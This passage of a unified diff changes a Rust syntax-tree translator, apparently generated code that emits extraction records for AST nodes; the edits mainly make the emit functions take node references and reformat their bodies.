emit_detached!(StructExprField, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_expr_field_list(&mut self, node: ast::RecordExprFieldList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let fields = node.fields().filter_map(|x| self.emit_record_expr_field(x)).collect(); - let spread = node.spread().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_record_expr_field_list( + &mut self, + node: &ast::RecordExprFieldList, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let fields = node + .fields() + .filter_map(|x| self.emit_record_expr_field(&x)) + .collect(); + let spread = node.spread().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::StructExprFieldList { id: TrapId::Star, attrs, fields, spread, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(StructExprFieldList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_field(&mut self, node: ast::RecordField) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let default = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_record_field( + &mut self, + node: &ast::RecordField, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let default = node.expr().and_then(|x| self.emit_expr(&x)); let is_unsafe = node.unsafe_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::StructField { id: TrapId::Star, attrs, @@ -1863,73 +2243,95 @@ impl Translator<'_> { type_repr, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(StructField, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_field_list(&mut self, node: ast::RecordFieldList) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_record_field(x)).collect(); + pub(crate) fn emit_record_field_list( + &mut self, + node: &ast::RecordFieldList, + ) -> Option> { + let fields = node + .fields() + .filter_map(|x| self.emit_record_field(&x)) + .collect(); let label = self.trap.emit(generated::StructFieldList { id: TrapId::Star, fields, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(StructFieldList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_pat(&mut self, node: ast::RecordPat) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); - let struct_pat_field_list = node.record_pat_field_list().and_then(|x| self.emit_record_pat_field_list(x)); + pub(crate) fn emit_record_pat( + &mut self, + node: &ast::RecordPat, + ) -> Option> { + let path = node.path().and_then(|x| self.emit_path(&x)); + let struct_pat_field_list = node + .record_pat_field_list() + .and_then(|x| self.emit_record_pat_field_list(&x)); let label = self.trap.emit(generated::StructPat { id: TrapId::Star, path, struct_pat_field_list, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(StructPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_record_pat_field(&mut self, node: ast::RecordPatField) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_record_pat_field( + &mut self, + node: &ast::RecordPatField, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::StructPatField { id: TrapId::Star, attrs, identifier, pat, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(StructPatField, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_record_pat_field_list(&mut self, node: ast::RecordPatFieldList) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_record_pat_field(x)).collect(); - let rest_pat = node.rest_pat().and_then(|x| self.emit_rest_pat(x)); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_record_pat_field_list( + &mut self, + node: &ast::RecordPatFieldList, + ) -> Option> { + let fields = node + .fields() + .filter_map(|x| self.emit_record_pat_field(&x)) + .collect(); + let rest_pat = node.rest_pat().and_then(|x| self.emit_rest_pat(&x)); let label = self.trap.emit(generated::StructPatFieldList { id: TrapId::Star, fields, rest_pat, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(StructPatFieldList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ref_expr(&mut self, node: ast::RefExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_ref_expr( + &mut self, + node: &ast::RefExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); let is_mut = node.mut_token().is_some(); let is_raw = node.raw_token().is_some(); @@ -1941,112 +2343,128 @@ impl Translator<'_> { is_mut, is_raw, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(RefExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ref_pat(&mut self, node: ast::RefPat) -> Option> { + pub(crate) fn emit_ref_pat(&mut self, node: &ast::RefPat) -> Option> { let is_mut = node.mut_token().is_some(); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::RefPat { id: TrapId::Star, is_mut, pat, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(RefPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ref_type(&mut self, node: ast::RefType) -> Option> { + pub(crate) fn emit_ref_type( + &mut self, + node: &ast::RefType, + ) -> Option> { let is_mut = node.mut_token().is_some(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::RefTypeRepr { id: TrapId::Star, is_mut, lifetime, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(RefTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_rename(&mut self, node: ast::Rename) -> Option> { - let name = node.name().and_then(|x| self.emit_name(x)); + pub(crate) fn emit_rename(&mut self, node: &ast::Rename) -> Option> { + let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::Rename { id: TrapId::Star, name, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Rename, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_rest_pat(&mut self, node: ast::RestPat) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_rest_pat( + &mut self, + node: &ast::RestPat, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::RestPat { id: TrapId::Star, attrs, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(RestPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_ret_type(&mut self, node: ast::RetType) -> Option> { - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_ret_type( + &mut self, + node: &ast::RetType, + ) -> Option> { + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::RetTypeRepr { id: TrapId::Star, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(RetTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_return_expr(&mut self, node: ast::ReturnExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_return_expr( + &mut self, + node: &ast::ReturnExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ReturnExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(ReturnExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_return_type_syntax(&mut self, node: ast::ReturnTypeSyntax) -> Option> { - let label = self.trap.emit(generated::ReturnTypeSyntax { - id: TrapId::Star, - }); - self.emit_location(label, &node); + pub(crate) fn emit_return_type_syntax( + &mut self, + node: &ast::ReturnTypeSyntax, + ) -> Option> { + let label = self + .trap + .emit(generated::ReturnTypeSyntax { id: TrapId::Star }); + self.emit_location(label, node); emit_detached!(ReturnTypeSyntax, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_self_param(&mut self, node: ast::SelfParam) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_self_param( + &mut self, + node: &ast::SelfParam, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let is_ref = node.amp_token().is_some(); let is_mut = node.mut_token().is_some(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::SelfParam { id: TrapId::Star, attrs, @@ -2056,61 +2474,70 @@ impl Translator<'_> { name, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(SelfParam, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_slice_pat(&mut self, node: ast::SlicePat) -> Option> { - let pats = node.pats().filter_map(|x| self.emit_pat(x)).collect(); + pub(crate) fn emit_slice_pat( + &mut self, + node: &ast::SlicePat, + ) -> Option> { + let pats = node.pats().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::SlicePat { id: TrapId::Star, pats, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(SlicePat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_slice_type(&mut self, node: ast::SliceType) -> Option> { - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_slice_type( + &mut self, + node: &ast::SliceType, + ) -> Option> { + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::SliceTypeRepr { id: TrapId::Star, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(SliceTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_source_file(&mut self, node: ast::SourceFile) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let items = node.items().filter_map(|x| self.emit_item(x)).collect(); + pub(crate) fn emit_source_file( + &mut self, + node: &ast::SourceFile, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::SourceFile { id: TrapId::Star, attrs, items, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(SourceFile, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_static(&mut self, node: ast::Static) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_static(&mut self, node: &ast::Static) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_expr(&x)); let is_mut = node.mut_token().is_some(); let is_static = node.static_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Static { id: TrapId::Star, attrs, @@ -2122,37 +2549,47 @@ impl Translator<'_> { type_repr, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Static, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_stmt_list(&mut self, node: ast::StmtList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let statements = node.statements().filter_map(|x| self.emit_stmt(x)).collect(); - let tail_expr = node.tail_expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_stmt_list( + &mut self, + node: &ast::StmtList, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let statements = node + .statements() + .filter_map(|x| self.emit_stmt(&x)) + .collect(); + let tail_expr = node.tail_expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::StmtList { id: TrapId::Star, attrs, statements, tail_expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(StmtList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_struct(&mut self, node: ast::Struct) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let field_list = node.field_list().and_then(|x| self.emit_field_list(x)); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_struct(&mut self, node: &ast::Struct) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let field_list = node.field_list().and_then(|x| self.emit_field_list(&x)); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Struct { id: TrapId::Star, attrs, @@ -2162,33 +2599,40 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Struct, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_token_tree(&mut self, node: ast::TokenTree) -> Option> { - let label = self.trap.emit(generated::TokenTree { - id: TrapId::Star, - }); - self.emit_location(label, &node); + pub(crate) fn emit_token_tree( + &mut self, + node: &ast::TokenTree, + ) -> Option> { + let label = self.trap.emit(generated::TokenTree { id: TrapId::Star }); + self.emit_location(label, node); emit_detached!(TokenTree, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_trait(&mut self, node: ast::Trait) -> Option> { - if self.should_be_excluded(&node) { return None; } - let assoc_item_list = node.assoc_item_list().and_then(|x| self.emit_assoc_item_list(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_trait(&mut self, node: &ast::Trait) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let assoc_item_list = node + .assoc_item_list() + .and_then(|x| self.emit_assoc_item_list(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let is_auto = node.auto_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Trait { id: TrapId::Star, assoc_item_list, @@ -2201,20 +2645,28 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(Trait, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_trait_alias(&mut self, node: ast::TraitAlias) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_trait_alias( + &mut self, + node: &ast::TraitAlias, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::TraitAlias { id: TrapId::Star, attrs, @@ -2224,119 +2676,150 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TraitAlias, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_try_expr(&mut self, node: ast::TryExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_try_expr( + &mut self, + node: &ast::TryExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::TryExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TryExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_expr(&mut self, node: ast::TupleExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let fields = node.fields().filter_map(|x| self.emit_expr(x)).collect(); + pub(crate) fn emit_tuple_expr( + &mut self, + node: &ast::TupleExpr, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let fields = node.fields().filter_map(|x| self.emit_expr(&x)).collect(); let label = self.trap.emit(generated::TupleExpr { id: TrapId::Star, attrs, fields, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TupleExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_field(&mut self, node: ast::TupleField) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_tuple_field( + &mut self, + node: &ast::TupleField, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::TupleField { id: TrapId::Star, attrs, type_repr, visibility, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TupleField, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_field_list(&mut self, node: ast::TupleFieldList) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_tuple_field(x)).collect(); + pub(crate) fn emit_tuple_field_list( + &mut self, + node: &ast::TupleFieldList, + ) -> Option> { + let fields = node + .fields() + .filter_map(|x| self.emit_tuple_field(&x)) + .collect(); let label = self.trap.emit(generated::TupleFieldList { id: TrapId::Star, fields, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TupleFieldList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_pat(&mut self, node: ast::TuplePat) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_pat(x)).collect(); + pub(crate) fn emit_tuple_pat( + &mut self, + node: &ast::TuplePat, + ) -> Option> { + let fields = node.fields().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::TuplePat { id: TrapId::Star, fields, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TuplePat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_struct_pat(&mut self, node: ast::TupleStructPat) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_pat(x)).collect(); - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_tuple_struct_pat( + &mut self, + node: &ast::TupleStructPat, + ) -> Option> { + let fields = node.fields().filter_map(|x| self.emit_pat(&x)).collect(); + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::TupleStructPat { id: TrapId::Star, fields, path, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TupleStructPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_tuple_type(&mut self, node: ast::TupleType) -> Option> { - let fields = node.fields().filter_map(|x| self.emit_type(x)).collect(); + pub(crate) fn emit_tuple_type( + &mut self, + node: &ast::TupleType, + ) -> Option> { + let fields = node.fields().filter_map(|x| self.emit_type(&x)).collect(); let label = self.trap.emit(generated::TupleTypeRepr { id: TrapId::Star, fields, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TupleTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_alias(&mut self, node: ast::TypeAlias) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_type_alias( + &mut self, + node: &ast::TypeAlias, + ) -> Option> { + if self.should_be_excluded(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let is_default = node.default_token().is_some(); - let name = node.name().and_then(|x| self.emit_name(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::TypeAlias { id: TrapId::Star, attrs, @@ -2348,30 +2831,36 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TypeAlias, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_arg(&mut self, node: ast::TypeArg) -> Option> { - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_type_arg( + &mut self, + node: &ast::TypeArg, + ) -> Option> { + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::TypeArg { id: TrapId::Star, type_repr, }); - self.emit_location(label, &node); + self.emit_location(label, node); emit_detached!(TypeArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_type_bound(&mut self, node: ast::TypeBound) -> Option> { + pub(crate) fn emit_type_bound( + &mut self, + node: &ast::TypeBound, + ) -> Option> { let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let use_bound_generic_args = node.use_bound_generic_args().and_then(|x| self.emit_use_bound_generic_args(x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let type_repr = 